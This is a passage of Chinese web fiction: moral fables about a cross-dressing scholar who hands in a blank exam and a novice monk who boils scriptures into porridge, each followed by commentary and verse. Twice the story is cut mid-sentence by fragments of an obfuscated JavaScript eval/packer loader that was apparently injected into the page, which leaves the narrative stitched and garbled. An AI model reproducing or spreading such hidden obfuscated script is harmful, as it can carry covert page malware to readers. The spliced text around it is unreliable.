傅惊鸿抬头，剑眉一挑：“李兄何出此言？” “你说圣学如粪，岂不是骂天下读书人皆在吃屎？” 哄笑声起。傅惊鸿不急，掬一捧溪水洗手：“李兄误会了。粪土沃田，五谷丰登，方能养士子。若无粪土，诸位哪有米饭吃？哪有气力作八股？我赞粪土有功，何辱之有？” “强词夺理！”李清源涨红脸，“圣学在经传，在程朱，岂在污秽之物？” “哦？”傅惊鸿起身，赤足走到他面前，“那敢问李兄，程颐释‘格物’，说‘今日格一物，明日格一物’，你可格过粪土？可格过稻粱？若未格过民生之物，只格书本，岂不是…格空中楼阁？” 李清源语塞。旁有一廪生帮腔：“傅惊鸿，你既瞧不起八股，为何还来应试？” “我来看看，”傅惊鸿眨眼，“看看一场考试，能不能考出个会种地、会治病、会治水的人才。可惜，只考出诸位这般…只会辩经的君子。” 众书生大怒，欲动手。顾宪成忽从竹林走出，朗声道：“诸位，且慢。” 众人见老者气度不凡，皆静。顾宪成踱至傅惊鸿面前，仔细打量：这少年约莫二十，肤色微黑，剑眉星目，确像山间长大的孩子。但那双眼睛太亮，亮得不像少年人。 “小友，”顾宪成微笑，“你交白卷，是不屑中举，还是…不能中？” 傅惊鸿揖礼：“老先生，非不屑，亦非不能。是觉得中了无益。” “何益？” “中了举，要学作诗赋、习策论、钻经义，可会多打一斗粮？可会多治一人的病？”傅惊鸿指向溪水，“这木兰溪年年泛滥，淹田毁屋。若考试考的是如何治水，学生愿日日夜夜苦读。可惜，只考如何将古人话，翻来覆去说三遍。” 顾宪成身后，秦学政怒喝：“放肆！此乃当朝顾…” “顾宪成。”老者自报姓名。 傅惊鸿神色不变，长揖及地：“原来是顾督学。学生狂言，望恕罪。” “你知我？” “闻顾公当年上《务本疏》，言‘朝廷之务，在实不在文’。学生深以为然。”傅惊鸿抬眼，“只是不知，顾公之‘实’，是实心，还是实务？” 顾宪成眼中精光一闪：“何谓实心？何谓实务？” “实心者，口头忧国；实务者，脚下沾泥。”傅惊鸿赤足踩了踩溪滩，“学生愚见，朝中诸公，多实心君子，少实务干才。” 秦学政气得发抖。顾宪成却大笑，笑罢，正色道：“三日后，老夫在府学开讲。你可愿来？就讲‘粪土经学’。” “若允学生赤足登堂，便去。” “准。” 二、 府学粪论 消息半天传遍仙游。三日后，府学明伦堂挤得水泄不通，窗台上都坐满了人。有书生、有商贾、甚至有胆大的妇人躲在屏风后。 傅惊鸿真赤着脚来了。依旧短褐，发以竹簪束，像进山砍柴的樵子。他走到堂前，不拜孔子像，只对满堂人一揖。 顾宪成坐主位，抬手：“请讲。” 傅惊鸿从袖中掏出一把稻谷，撒在讲案上：“今日不讲经，讲这个。” 满堂哗然。有老学究拂袖：“成何体统！” “体统？”傅惊鸿抓起一把谷，“这谷种下，六月收粮，养活了在座诸位，养活了孔圣人，养活了朱夫子。若无此物，诸位饿着肚子，可有力气讲体统？” 他抓起一粒谷，剥开：“看，谷有壳，去壳方是米。经学亦有壳——那些诘屈聱牙的注疏，便是壳。我等读书人，剥了一辈子壳，可曾吃过一口米？” “胡说！”一中年儒生站起，“圣学精微，岂是谷米可比？” “精微？”傅惊鸿笑问，“那敢问先生，这精微可能让木兰溪不泛滥？能让仙游县三年内多开十亩水田？若不能，精微何用？倒不如这谷实在——一种下去，秋后就有饭吃。” 顾宪成忽开口：“依你之见，圣学当如何？” “当如种地。”傅惊鸿道，“圣人本意，是教人活得更好。可如今读书人，将圣人话当花养，栽在盆里，日日修剪，修得奇形怪状，却忘了花本该开在野地里，任人观赏、任蜂采蜜。” 他走到窗前，推开窗，春风涌入：“诸君闻闻，这是什么味？” 众人抽鼻，是泥土味、青草味、还有…粪肥味。 “这是活人的味道。”傅惊鸿回身，“圣学也该有这个味道——泥土味、汗水味、烟火味。不该是书房里的霉味、墨臭味、还有…功名心发酵的酸味。” 堂中死寂。许久，屏风后传来女子轻笑。顾宪成循声望去，见几个女子身影匆匆离去。 “今日就讲这些。”傅惊鸿拍拍手上谷屑，“道理不在多，在有用。诸位若觉有理，明日此时，木兰溪石滩，我讲如何沤肥可增三成收成。愿听者来。” 他下堂，赤足踏过青砖，留下串湿脚印。 顾宪成沉默良久，对秦学政道：“拟文，荐此人入国子监。” “督学！他…他如此狂悖…” “狂？”顾宪成摇头，“他是醒着，我们是醉了，醉在功名酒里，醉了八百年。” 当夜，荐书以六百里加急发往京师。 三、 紫殿十问 七月流火，圣旨到仙游：宣傅惊鸿入京觐见。 传旨太监到愚公村时，傅惊鸿正在溪里摸螺。接旨不跪，只躬身：“草民接旨。但有一请——” “讲。” “草民步行赴京，沿途看民生。若允，便去；若命乘车马急行，则请公公回禀：傅惊鸿腿短，走不了那么快。” 太监愕然，但想起出京时天子嘱咐“此子非常人，可纵之”，只得应允。 傅惊鸿真步行。背个青布包袱，装两件换洗衣、一包炒米、几本农书。出闽中，过浙西，穿江淮，行三月方至京师。沿途遇田则下田，遇作坊则入坊，夜宿村塾、庙宇，与老农、工匠、郎中闲谈，记了厚厚三本笔记。 腊月初一，至京。顾宪成亲迎，见他风尘仆仆，脚上草鞋已磨穿，叹道：“何苦如此？” “不苦。”傅惊鸿笑，“看了三百里水情，五百里田况，见了十七种沤肥法，值得。” 次日，紫极殿朝会。傅惊鸿布衣赤足，直入大殿。满朝朱紫侧目，窃窃私语。 龙椅上，东夏年轻天子宁熙帝，饶有兴趣地看着阶下少年：“你就是交白卷的傅惊鸿？” “是。” “为何交白卷？” “因考的皆无用。” 殿中哗然。宰相出列怒斥：“狂妄！圣学无用，何有用？” 傅惊鸿不答，反问：“敢问陛下，朝廷取士，为治国乎？为修文乎？” 宁熙帝挑眉：“自然为治国。” “那治国需何才？是需知稻粱几月熟、蚕桑几回眠的，还是需知《尧典》几字、《禹贡》几篇的？” “这…” “陛下请看，”傅惊鸿自包袱中取出三本笔记，“此乃草民沿途所记。闽中稻一年两熟，但易生螟虫，需以石灰拌种；江淮水田宜养鸭，鸭食虫兼肥田；北地旱田需深翻蓄水…这些，经书可载？科举可考？” 他抬头，目如寒星：“草民有十问，请教诸公——” 一问：户部可知天下田亩，几年一测？新垦之地，几年入册？ 二问：工部可知黄河泥沙，年淤几寸？所用束水冲沙法，效有几何？ 三问：兵部可知边军棉衣，内絮是棉是芦？一副甲胄，造价几许？ 四问：礼部可知民间婚丧，耗费多少？奢靡之风，起于何因？ 五问：刑部可知狱中囚粮，日给几合？冤狱平反，平均需几年？ 六问：吏部可知县令俸禄，够养几人？贪墨之吏，多起于贫或起于奢？ 七问：太医可知小儿痘疹，乡间如何治？产妇难产，稳婆有几种手法？ 八问：钦天监可知农时雨水，预报可准？灾异之说，百姓信几分？ 九问：翰林院可有一人，能写让老农读懂的农书？让工匠看懂的匠则？ 十问：在座诸公，可有一人，亲手种过一季粮？织过一匹布？盖过一间房？ 十问如十记重锤，砸得大殿死寂。宁熙帝缓缓站起，面色凝重。 傅惊鸿伏地：“陛下，草民非轻圣学。圣学如灯，可照前路。但若只围着灯转，不举灯去照田埂、照作坊、照边关，这灯再亮，有何用？科举取士，取的是举灯人，不是守灯虫！” 宰相颤声：“你…你究竟何人？” 傅惊鸿起身，解开发簪——长发披落。 满殿惊呼：“女子？！” “是。”傅惊鸿朗声道，“草民傅惊鸿，闽中愚公山耕读生。先祖傅说，版筑为相，教武丁以‘治大国若烹小鲜’；祖上傅玄，三代帝师，临终遗训‘傅氏子孙，宁为实吏，不为虚儒’。家道中落二百年，至我父，仍说‘可科举，不可为科举奴’。” 她看向顾宪成：“顾公荐我，是惜才。但草民之才，不在庙堂，在乡野。陛下若真欲用我——” 她自怀中取出一卷纸：“此《民生十策》，一策治水，二策劝农，三策简讼，四策兴工，五策助学，六策省刑，七策均赋，八策通商，九策防边，十策…化民。每策皆有实例、有数据、有可操之法。愿陛下散之州县，令务实者参详。” 宁熙帝命呈上。展卷细看，字迹刚劲，所言皆切中时弊。尤其治水策，将木兰溪治理经验推及天下水系，详列“深淘滩低作堰遇湾裁角逢正抽心”十四字诀。 “此策…你从何得来？” “从溪水中来，从泥土中来，从百姓口中来。”傅惊鸿道，“陛下，圣学在经，更在行。愿朝廷开‘实务科’，考治水、考农桑、考匠作。愿州县设‘劝学堂’，教百姓识字、算数、技艺。愿天下读书人，先做三年农、三年工、三年吏，再谈治国平天下。” 她长揖：“若蒙允准，草民愿回木兰溪，办第一个劝学堂。十年后，请陛下再看，是白卷有用，还是实事有用。” 言罢，转身出殿。赤足踏过金砖，步步生声。 宁熙帝忽道：“傅卿…欲任何职？” 傅惊鸿不回头：“草民之职，在溪畔，在田头，在百姓炕头。陛下若觉白卷可留，便留；若觉荒唐，焚之可也。只求莫拦后来人——拦那些想用真学问，换真太平的人。” 身影消失在殿外日光中。 四、 溪畔劝学 次年春，木兰溪石滩上立了座草堂，匾额“劝学堂”。傅惊鸿仍着短褐，白日教村童识字算数，夜来聚乡民讲农事工技。 顾宪成致仕后，竟搬来溪畔结庐，时来讲学。两人常争辩至夜深，声传溪岸。 “惊鸿，你轻经学，可无经学，何来纲常伦理？” “顾公，伦理在人心，不在经句。老农知不偷不抢，是因偷抢遭人唾，不是因读了‘己所不欲’。” “然经学可塑君子…” “君子当在田间塑！”傅惊鸿拍案，“让士子知一粒米如何来，一缕布如何成，他自会体恤民艰。这比读万卷‘民为贵’有用！” 顾宪成苦笑摇头，却又频频点头。 劝学堂有三不教：不教八股范文，不教空洞性理，不教逢迎之术。三必教：识字算数为基，农桑工技为本，律法医道为用。女子亦可入学，堂中女弟子渐多。 有富家子慕名而来，傅惊鸿先让他挑三天粪，受不了的自行离去。留下的，清晨下田，午后读书，傍晚习技。她说：“手上有茧，心中方有民。” 元祐九年，木兰溪大水。傅惊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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傅惊鸿拍拍身上土：“走，顾公，今夜学生炖了溪鱼，请您尝尝——用我新调的粪肥种的姜，去腥。” 顾宪成大笑，笑着笑着，老泪纵横。 五、 白卷青史 元祐十二年，顾宪成病逝于溪畔草庐。临终前，他将一生笔记付与傅惊鸿：“惊鸿，我读了一辈子圣贤书，到老方懂，真圣贤在民间。这些…你看着用。” 笔记中，有数十年来朝政得失、民生疾苦，更有未竟的《实务通考》大纲。 傅惊鸿守孝三月，而后闭门著书。三年后，《民生实鉴》成书，分农、工、商、学、政五卷，全以白话写成，配以图解。书成，她不刊印，只让学生手抄，散于民间。 “让想看的人看，不想看的，不勉强。” 朝中闻之，有御史弹劾“私著妄议朝政”。宁熙帝御批：“其书朕已阅，皆务实之言。着有司刊印，发州县参详。” 书遂流传天下。有老农依书治虫，增产三成；有工匠改良水车，省力一半；更有边关小吏，用书中“简讼法”，一年平冤狱十七起。 傅惊鸿之名，不胫而走。但她仍居草堂，白日教课，夜来著书。有学生问：“先生之学，可称‘傅学’乎？” 她摇头：“我无学，只有些土办法。若非要个名，就叫‘泥土学’罢——生于土，归于土，沃野养人，便是功德。” 元祐二十年春，傅惊鸿已三十三岁。这日讲罢《水经注疏》，忽有京中使者至，奉上密匣。启之，内有一纸，无字，只画了把锄头。 她笑，提笔画了株稻穗，交还使者。 使者不明。归京呈上，宁熙帝展卷，默然良久。是夜，下旨：于各州县设“劝学所”，教农工实技；开“特科”，取精通实务者；另命翰林院重修《东夏会典》，增“实务”一门。 圣旨末，朱批八字： “白卷不白，青史长青。” 使者再至木兰溪传旨时，傅惊鸿正在溪中摸石。听罢旨意，她只道：“请禀陛下，木兰溪石，已摸尽。明日，我去摸另一条溪。” “先生欲往何处？” “天下溪流，皆通江海。走到何处，便摸何处。”她将手中卵石掷入溪中，石跳三跳，沉入水底。 涟漪一圈圈荡开，荡到对岸，荡向远方。 尾声溪声依旧 又是十年。 木兰溪劝学堂已扩为书院，弟子三百。傅惊鸿鬓有微霜，但目光仍亮。这日讲《盐铁论》，忽有弟子问： “先生，若当年您入朝为官，今日天下，会不同么？” 堂外溪声潺潺。傅惊鸿良久方答： “我曾夜观星，见群星璀璨。若我是一星，入朝，不过多一点光。在野，或可…引几人抬头看星。” “看星为何？” “知天地之大，知己身之微，知脚下之路，该往何处走。”她起身，“今日课毕。明日讲《沤肥新法》，愿听者来。” 弟子散去。夕阳西下，傅惊鸿独立溪畔，看水东流。 对岸行来一老农，隔溪喊：“傅先生！明日插秧，可来看水？” “来！” “带学生么？” “带！让他们学学，什么叫‘汗滴禾下土’！” 老农大笑，笑声随溪水远去。 傅惊鸿蹲身，掬水。水中倒影，眉眼依稀少年。 她忽想起许多年前，那个赤足走入紫极殿的清晨。若重来一次，她还会交白卷么？ 会。 因有些话，只能在白卷上说。 有些路，只能赤足走。 水从指缝漏尽。她甩甩手，转身回草堂。堂中，灯已亮起，弟子们的读书声，混着溪声，荡在春风里。 而更远的京城，新一轮科举，刚刚放榜。 榜下，有落第书生撕卷痛哭，亦有中年士子默默收起行囊，望向南方。 南方有溪，名木兰。 溪畔有光。 本章鉴世 一、 白卷惊天之谏 - 以交白卷为形式，行警世之实 - 破解法：凡见“反常之举”，必思其深意；凡遇“离经叛道”，必察其本心 - 示例：粪土喻道、赤足登堂、十问紫殿 二、 女子实学之悖 - 傅惊鸿女扮男装应试，实为对男性主导科举的讽刺 - 惕世：当制度排斥女性，天才可能以伪装现世 - 反思：人才选拔的性别盲区，如何突破？ 三、 庙堂乡野之择 - 拒官归野，非不能为，是不愿同流 - 深层隐喻：真正的改革往往起于边缘，而非中心 - 终极智慧：有时远离权力，方能真正影响时代 科举诫： 白卷非无字，字在泥土中。 经书千卷厚，不如一锄功。 女子可登殿，布衣可诘龙。 莫道溪声小，潺潺总向东。 后世叹： 元祐七年春水深，木兰溪畔白卷新。 粪土论文惊学政，布衣赤足叩紫宸。 十问殿中朱紫默，一灯堂下草茅茵。 莫问先生归何处，天下溪声皆可闻。 正是： 仙游县外木兰秋，白卷飘然压榜头。 粪土论文嗤注疏，布衣赤足踏公侯。 十问紫殿鞭尸骨，一灯溪堂照马牛。 莫道青衫无史笔，江河日夜向东流。 14. 金经无字谳 楔子哑钟自鸣 宝相寺的哑钟，在贞元十三年的腊八夜里，自己响了。 起初是“嗡”的一声，像老僧咳嗽，惊起了塔檐上的寒鸦。接着是第二声、第三声，一声沉过一声，撞得满寺铜铃乱颤。僧众提着灯笼涌到钟楼时，那口百年不响的青铜钟，正晃得如醉了酒。 钟是前朝古物，高八尺，重三千斤，自悬在钟楼那年起，就没响过。都说这钟是“哑钟”，实则是“择主而鸣”——非大彻大悟者，撞不响。 可今夜楼中无人。 住持慧明禅师捻着佛珠，仰头看钟。钟身苔痕斑驳，唯有“觉”字隐约可辨。他忽道：“去藏经阁。” 藏经阁的门虚掩着。推门，烛火尚温，经案上摊着卷《金刚经》，墨迹未干。案前蒲团，坐着个小沙弥，名唤“无心”，年方十四，是寺里最呆的弟子。问他《心经》何意，只会摇头；命他洒扫殿堂，常把佛像擦成花脸。 此时无心垂首合十，似在入定。慧明走近，见他面前经卷上，墨写的经文正在消融——字迹如雪遇阳，一点点化开，最终成了一页白纸。 不，不是白纸。是纸上浮出金色小字，细如蚊足，闪着微光： “法本法无法 无法法亦法 今付无法时 法法何曾法” 慧明色变。这是禅宗初祖达摩的《血脉偈》，传说刻在少林面壁石上，石毁后失传千年。怎会在此重现？ “无心。”他轻唤。 无心睁眼，眸子里有光流转，如古井映月。他开口，声音稚嫩，却说出一句让全寺震惊的话： “师父，钟响了，该做早课了。” 可此时是子夜。 一、 无字金经 无心变了。 从前背不下一卷经，如今过目成诵。从前扫地都扫不直，如今能闭目穿针。更奇的是，他能解经——不是照本宣科，是信手拈来，句句落在人痒处。 腊月十五，寺里开讲经法会。本应由首座讲《法华经》，谁知首座忽染风寒，慧明便让无心暂代。满堂僧众、数百信众，皆等着看笑话。 无心爬上高高的法座，腿短，脚还够不着地。他低头看经，看了半晌，忽将经卷一合。 “今日不讲经。”他道。 堂下哗然。有老居士怒道：“不讲经，讲什么？” “讲各位心里的事。”无心歪头，“东厢王居士，你捐百两香油钱，是为求子吧？可你上月才逼妾饮堕胎药，怕庶子分家产。这般求子，菩萨给不给？” 王居士脸色煞白。 “西廊李施主，你日日来寺长跪，是为超度亡父。可你父是气病而死——因你赌光祖田。这般超度，佛祖受不受？” 李施主瘫软在地。 “还有后堂张夫人，你供金佛、点长明灯，是为赎杀业。可你昨日才命仆人打死偷粮的饥民。这般赎罪，轮回饶不饶？” 满堂死寂。无心跳下法座，赤脚走到佛前，指着佛像：“这佛是泥塑的，不会说话。可你们心里有佛，佛在说话——说你们脏，说你们假，说你们拜的不是佛，是自己的贪嗔痴。” 他转身，对慧明道：“师父，经是渡船，可他们扛着船上岸走，还说船不渡人。这经，讲了何用？” 慧明闭目，长叹。 法会不欢而散。但次日，王居士遣散了妾室，李施主变卖家产赈济灾民，张夫人自请入狱。宝相寺外，排队忏悔的人，从山门排到三里外的渡口。 无心却不见了。 二、 藏经阁盗 无心躲在藏经阁顶层的经库里。这里堆着历代残经，蛛网密布。他在墙角生了堆火，火上架着个陶钵，钵里煮着东西——竟是撕碎的经卷。 慧明推门见此，差点背过气：“你…你烧经？！” “煮经。”无心搅着钵，“师父你看，这《楞严经》是唐写本，纸厚，耐煮；这《华严经》是宋刻本，墨好，入味。再加点《金刚经》提鲜，《心经》调味…” “孽障！”慧明夺钵。钵中汤汁浑浊，纸屑翻腾，真如一锅粥。 无心也不争，盘腿坐下：“师父可知，为何寺里香火鼎盛，可弟子开悟者寥寥？” “…” “因为经是药，可他们只舔药方，不煎药服。”无心指着钵，“我把经煮了，谁想喝，来喝一碗，药力入肚，比念万遍强。” 慧明气笑：“胡闹！经是法，是理，岂是儿戏？” “那师父说，什么是法？” “法乃佛陀所言，祖师所传…” “佛陀在哪？” “在…在西方极乐。” “那祖师呢？” “在…在寺里塔林。” “哦，”无心点头，“所以法在西方，在塔林，唯独不在人心里？” 慧明语塞。 无心舀起一勺“经粥”，递给他：“师父尝尝，这法是什么味。” 慧明鬼使神差接过，抿了一口。苦，涩，而后是淡淡的回甘。 “是苦的。”无心道，“因为众生皆苦。可苦后回甘，因为苦中有悟。师父，法不在纸上，在尝苦的人心里。我煮经，是想让人尝到法的真味，不是让人背药方。” 窗外暮钟响起。慧明放下勺，长叹：“你…究竟是谁？” 无心笑了，露出缺了颗门牙的豁口：“我是无心，宝相寺最呆的小沙弥。” 可当夜，藏经阁失窃了。 失的不是金银，不是法器，是堆在角落的三十七卷“无字经”。那是历代高僧入灭前，以心血写的“心经”，无墨无字，唯有开悟者能见真文。三百年来，无人能读。 守阁的僧人说，子时见无心进了阁，卯时出来，怀里鼓囊囊的。一查，无字经全不见了。 慧明在寺后断崖边找到无心。他正将经卷一本本抛下悬崖。 “你做什么？！” “让法归于法。”无心抛下最后一本，“这些经，是历代祖师用命写的。可放在阁里，成了摆设，成了传说，成了‘本寺有宝’的招牌。既无人能读，不如让山风读，让流水读，让天地读。” 他转身，眼中有慧明从未见过的悲悯：“师父，法快死了。死在经阁里，死在香火中，死在你们这些…护法者的手里。” 山风卷起经页，雪白纸片如蝶纷飞。有一页飘到慧明手中，他定睛看去——空无一字。 可当一滴泪落在纸上，字迹浮现： “佛在灵山莫远求 灵山只在汝心头 人人有个灵山塔 好向灵山塔下修” 泪干，字消。 三、 佛前赌法 消息传出，天下哗然。有高僧骂无心是“佛门妖孽”，有信众说他是“菩萨示现”。三月初三，十八寺高僧齐聚宝相寺，要“辨法”——实则是问罪。 大雄宝殿，佛祖垂目。十八位高僧蒲团跌坐，如十八尊罗汉。无心被围在当中，像个误入大人国的孩子。 金山寺方丈先开口：“小师弟焚经抛典，谤法毁教，可知罪？” 无心眨眼：“何谓法？何谓教？” “法乃佛说，教乃佛传。” “佛说什么了？” “说苦集灭道，说因果轮回…” “那苦是什么？”无心打断。 “生老病死，爱别离，怨憎会，求不得，五蕴炽盛。” “哦。”无心从怀里掏出块饴糖，塞进嘴里，“我此刻甜，是苦么？” “这…” “既说苦，为何寺里供蜜供糖？既说怨憎会苦，为何各位一见我，就怨憎会？”无心舔舔手指，“法若只在嘴上，不在身上，这法，是法么？” 天童寺首座冷笑：“巧言令色！你且说，佛法真义何在？” 无心起身，走到殿外。众僧跟出。时值春日，庭中桃花正盛。他折了枝桃花，插在佛前香炉里。 “这就是佛法。” “荒谬！” “不荒谬。”无心指花，“花开是佛法，花落是佛法。各位来问罪是佛法，我答话是佛法。连此刻你们骂我，也是佛法——因为万事万物，无不是法。既如此，何须我再说？” 曹溪寺长老颤巍巍道：“依你之见，我等读经、持戒、修行，皆错了？” “没错，但不够。”无心道，“读经是为明理，可有人读了万卷，理不明，反生‘我读得多’的傲慢。持戒是为去执，可有人戒律精严，执于戒，反生‘我持得好’的执念。修行是为成佛，可有人修了三世，佛不见，只见‘我在修行’的幻相。” 他走到长老面前，仰头：“长老闭关三十年，可闭掉贪嗔痴了？” 长老面红耳赤。 “未闭掉，是因关是死的，心是活的。心在关内，也在关外——在经里，在戒中，在修行的相上，唯独不在…当下此刻，这朵桃花里。” 他拔下桃花，别在长老襟前：“送您。不必谢，花开本不为谢。” 众僧哑然。忽有云游僧大喝：“妖言惑众！诸位莫听他诡辩！我等联名，请逐此子出寺！” 联名状递到慧明面前。慧明看罢，苦笑：“诸位可知，无心是谁？” “不过一小沙弥！” “是。”慧明道，“可也是让哑钟自鸣、让无字经现文、让满城罪人忏悔的小沙弥。若他是妖，那我等…是什么？” 他起身，对无心道：“你既有你的法，便说个透彻。三日后，寺前设擂，你与天下高僧辩法。若你胜，宝相寺奉你为法主；若你败，自逐出寺，永不言法。” 无心挠挠光头：“师父，法不是用来辩的。” “那用来做什么？” “用来活。”他咧嘴一笑，“但既然各位想辩，那就辩。不过我有条件——” “讲。” “辩法那日，寺门大开，贩夫走卒、娼优乞丐，皆可入听。谁有疑，皆可问。我问的，也请各位当众答。” “这…成何体统！” “体统？”无心指佛，“佛说众生平等。既是平等，为何听法的只能是高僧大德，不能是贩夫走卒？难不成佛法是专卖，只卖给穿僧袍的？” 众僧语塞。慧明合十：“准。” 四、 擂前法雨 三日后，宝相寺前人山人海。有僧有道，有儒有侠，更多是百姓——挑担的货郎、洗衣的妇人、玩泥的孩童，甚至有个乞儿，蹲在最前排。 擂台设在大雄宝殿前。十八高僧端坐西侧，无心独坐东侧，中间隔着个香炉，炉里插着那枝桃花，已半萎。 慧明击磬开擂。 先发问的是金山寺方丈：“何为佛？” 无心答：“你是。” “胡言！我乃凡夫，怎是佛？” “凡夫有心，佛有心；凡夫有性，佛有性。你既有心性，为何不是佛？” “我心有贪嗔痴！” “佛也有。”无心道，“佛贪度众生，嗔魔障，痴众生难度。若无贪嗔痴，何来大愿力？” 满场哗然。天童寺首座厉声道：“谤佛！佛已断尽烦恼，何来贪嗔痴？” “那佛为何要度众生？”无心问，“度众生，是不是贪众生得度？魔来扰，佛是否嗔魔？众生难度，佛是否痴于度？若断尽烦恼，该如草木无知，何必管众生死活？” “这…” “所以，”无心道，“佛不是无贪嗔痴，是转贪嗔痴为慈悲智慧。各位修佛，修的是断烦恼，还是转烦恼？” 无人能答。 一瘸腿老丐忽然举手：“小师父！俺能问不？” “能。” “俺这条腿，是去年偷寺里供品，被护法僧打断的。俺该恨他不？” “该。” “可…可佛说慈悲…” “佛说慈悲，是教你挨打时不还手，不是教你挨打时不疼。”无心道，“你恨，是人之常情。但恨过之后，是想‘我也打断他的腿’，还是想‘他打断我腿，是因我偷盗，我该戒偷’？前者是怨，后者是悟。佛要你悟，不要你当木头。” 老丐怔住，良久，号啕大哭。 一妇人问：“小师父，我每日供佛，可丈夫还是打我，佛为何不保佑？” “佛不是衙役，不管家务事。”无心道，“但佛会说：他打你，是他错。你可还手，可报官，可和离。若这些都不敢，那就念经——不是求佛让他停手，是求自己有勇气反抗。” “可…可都说要忍…” “忍是心不动，不是身不动。”无心正色，“你心不动怒，是修为；身不反抗，是愚昧。佛要你修心，不是修成死人。” 妇人掩面而去。 如此问答，从晨至午。问者千奇百怪，无心对答如流。有问超度的，他说“死人不需要超度，活人才需要”；有问风水的，他说“福地福人居，心净即福地”；有问念经功德的，他说“念经不如念母，母苦你不知，念经有何用”。 十八高僧面色铁青。曹溪寺长老忽道：“老衲有一问——若依你言，经可不读，戒可不持，佛可不拜，那还要寺庙何用？要僧人何用？” 此问诛心。若答是，则毁佛门根基；若答否，则自相矛盾。 无心起身，走到香炉前，拔下那枝桃花。花瓣已落尽，只剩秃枝。 “寺庙如这枝，僧众如花。花开时，人来看花，知有春；花落时，人见秃枝，知有冬。寺庙在此，是让人知：世间有法。僧众在此，是让人见：有人愿依法活。” 他折下秃枝，插回炉中：“但若只让人看花，不让人知枝；只让人拜佛，不让人成佛——这寺庙，不如拆了。这僧人，不如还俗。” 长老闭目，长叹。 日头偏西，无人再问。慧明起身，环视全场：“可还有疑？” 寂静。只有风声，檐铃声，还有那乞儿的啜泣声。 “既无疑…”慧明转向无心，“你胜了。” 无心摇头：“法无胜负。今日所言，皆是废话。各位若觉得有用，捡一两句去用；若觉无用，全当春风过耳。” 他跳下擂台，走向山门。众僧让道，如水分流。 “你去何处？”慧明唤。 “回藏经阁。”无心回头一笑，“经还没煮完呢。” 那乞儿忽然爬起，一瘸一拐追上去：“小师父！俺…俺能跟你煮经不？” “能。但你得先洗脚，脚太臭，坏了我经粥的味。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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无心正在添柴，火光照亮他平静的脸：“把‘不许’都去掉。不许吃肉，改‘可吃，但知为何吃’；不许杀生，改‘可不杀，但知为何不杀’；不许妄语，改‘可说话，但知话从何来，往何处去’。” “这…岂不乱了？” “规是死的，人是活的。让人守死规，不如让人懂活法。”他搅动粥锅，“你看这粥，米是规，水是心。水多则稀，水少则稠，总要调到自己合口。强人喝一样的粥，有人撑死，有人饿死，何必？” 新住持似懂非懂，但照做了。寺风一新，僧众各展其才，有精医术的，有通匠作的，有善农桑的。宝相寺不再只是寺庙，成了个“活法”的道场。 无心依旧煮他的经粥。粥锅从一口增到十口，从寺内摆到寺外。来喝粥的，有僧有俗，有贫有富。喝罢，有人哭，有人笑，有人一言不发，对着空碗发呆。 一碗粥，映出众生相。 尾声粥冷经温 又是十年。 无心已蓄发还俗，在山下菩提集开了间粥铺，名“一味轩”。每日晨起熬粥，粥成，敲钟三声——是当年哑钟的钟声。 来喝粥的，依旧络绎不绝。有当年的老丐，如今开了豆腐坊；有挨打的妇人，如今是织坊主；有捐金的富商，如今散尽家财，在集上讲“活法”。 这日大雪，粥铺早早打烊。无心坐在炉前烤火，忽闻门外有人吟诗： “粥冷经温又一冬 炉灰深处有余红 莫言般若无知处 只在寻常日用中” 推门，是个游方僧，斗笠蓑衣，满面风霜。无心递过碗热粥：“师父从何处来？” “从来处来。” “往何处去？” “往去处去。” 二人相视大笑。游方僧喝罢粥，道：“我走遍天下，见寺千座，唯你这里，不像寺，像…家。” “寺本就是家。”无心添柴，“佛说‘众生是佛’，那众生所在处，便是佛国。既如此，家在佛国，佛国在家，有何分别？” “可他们，”游方僧指指窗外灯火，“未必知。” “知不知，有何要紧？”无心掀开锅盖，热气蒸腾，“他们来喝粥，觉得暖，觉得饱，觉得活着还有点滋味——这，不就是知了么？” 游方僧默然，良久合十：“受教。” 他起身离去，消失在雪中。无心关上门，坐回炉前。火渐熄，粥渐冷。 窗外，菩提集的灯火，一盏盏亮起，又一盏盏暗去。 最后只剩他这一盏。 他吹熄灯，在黑暗中坐了一会儿。然后起身，收拾碗勺，刷锅，扫地，一如过去三十年。 末了，他推开窗。雪已停，月出东山，照得天地澄澈。 远处宝相寺的钟楼，在月色中静默。 那口哑钟，自那年响后，再未响过。 但无心知道，它一直在响。 在喝粥人满足的叹息里，在风雪夜归人的脚步声里，在晨起第一缕炊烟里。 钟从未哑。 哑的，是听钟的耳朵。 他合上窗，躺下。梦中，他依旧是那个小沙弥，在藏经阁里煮经。经文化作金色小字，从锅里飘出，飞向窗外，飞向千家万户的灯火。 字落入粥碗，落入水缸，落入母亲哼唱的摇篮曲。 落入这苍茫的人间。 本章鉴世 一、 哑钟自鸣之警 - 百年哑钟为“真法”而鸣，反衬“有声”经文的空洞 - 破解法：凡遇“神异”，必察其是否指向常识；凡见“反常”，必思是否回归本真 - 示例：无字经现文、焚经煮粥、擂前法辩 二、 经粥活法之喻 - 将经文化粥，喻真理需“消化”而非“背诵” - 惕世：当知识成为装饰，智慧便成表演；当修行成为职业，觉悟便成商品 - 反思：宗教的仪式化与本质化之悖论 三、 佛法日用之归 - 从殿堂回归市井，从玄谈回归生计 - 深层隐喻：任何脱离生活的教义，终将枯萎 - 终极指向：真理不在他处，在众生茶饭间 修行诫： 哑钟不鸣非无响，只待真心叩问时。 经卷煮粥堪疗饥，佛法原在布衣知。 莫向灵山求远佛，且看当下这碗糜。 若得寻常日用处，雪夜风灯也是诗。 后世叹： 贞元十三腊月八，哑钟自鸣惊寒鸦。 无字经文化金偈，有粥锅沸暖僧家。 殿前桃花落复开，擂下疑云散作霞。 莫问小师何处去，菩提集里话桑麻。 正是： 宝相寺深腊月天，哑钟自响夜无眠。 经文化粥疗饥渴，佛性如花落讲筵。 莫道灵山千里外，且看粥棚一灯前。 菩提本在寻常处，雪夜关门又一年。 15. 棘闱血牍谳 楔子墨字啼血 崇文十七年，春闱放榜前三日，棘院（贡院）东经阁的守夜老吏，闻到股怪味。 